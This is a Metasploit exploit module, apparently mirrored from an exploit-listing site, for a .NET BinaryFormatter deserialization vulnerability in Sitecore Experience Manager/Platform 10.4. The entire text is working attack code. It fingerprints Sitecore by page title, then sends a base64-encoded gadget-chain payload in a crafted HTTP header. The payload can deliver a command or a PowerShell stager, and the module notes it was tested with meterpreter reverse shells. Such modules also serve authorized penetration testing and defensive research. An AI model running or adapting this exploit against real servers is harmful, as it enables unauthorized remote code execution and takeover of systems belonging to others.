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## https://sploitus.com/exploit?id=PACKETSTORM:190115
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Util::DotNetDeserialization
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sitecore CVE-2025-27218 BinaryFormatter Deserialization Exploit',
'Description' => %q{
This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
Platform (XP) 10.4 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.
},
'License' => MSF_LICENSE,
'Author' => [
'Dylan Pindur', # Discovery
'machang-r7' # Module Creator
],
'References' => [
['CVE', '2025-27218'],
['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003535'],
['URL', 'https://attackerkb.com/topics/Dyo4zUm2tv/cve-2025-27218']
],
'DisclosureDate' => '2025-01-06',
'DefaultTarget' => 0,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager
# tested with windows/x64/meterpreter/reverse_tcp
}
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/'])
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})
if res&.code == 200 && res&.get_html_document&.at('//title')&.text&.strip == 'Welcome to Sitecore'
CheckCode::Detected('The target is running SiteCore.')
else
CheckCode::Safe('The target does not appear to be running SiteCore.')
end
end
def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :psh_stager
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
end
end
def execute_command(cmd, _opts = {})
sploit = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :WindowsIdentity,
formatter: :BinaryFormatter
))
# Build HTTP request with malicious header
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'headers' => {
'Thumbnailsaccesstoken' => sploit
}
})
if res && res.code == 200
print_good('Server responded with 200, this probably means it worked.')
else
print_error("Server didn't respond with 200. Try setting the target URL to a valid page.")
end
end
end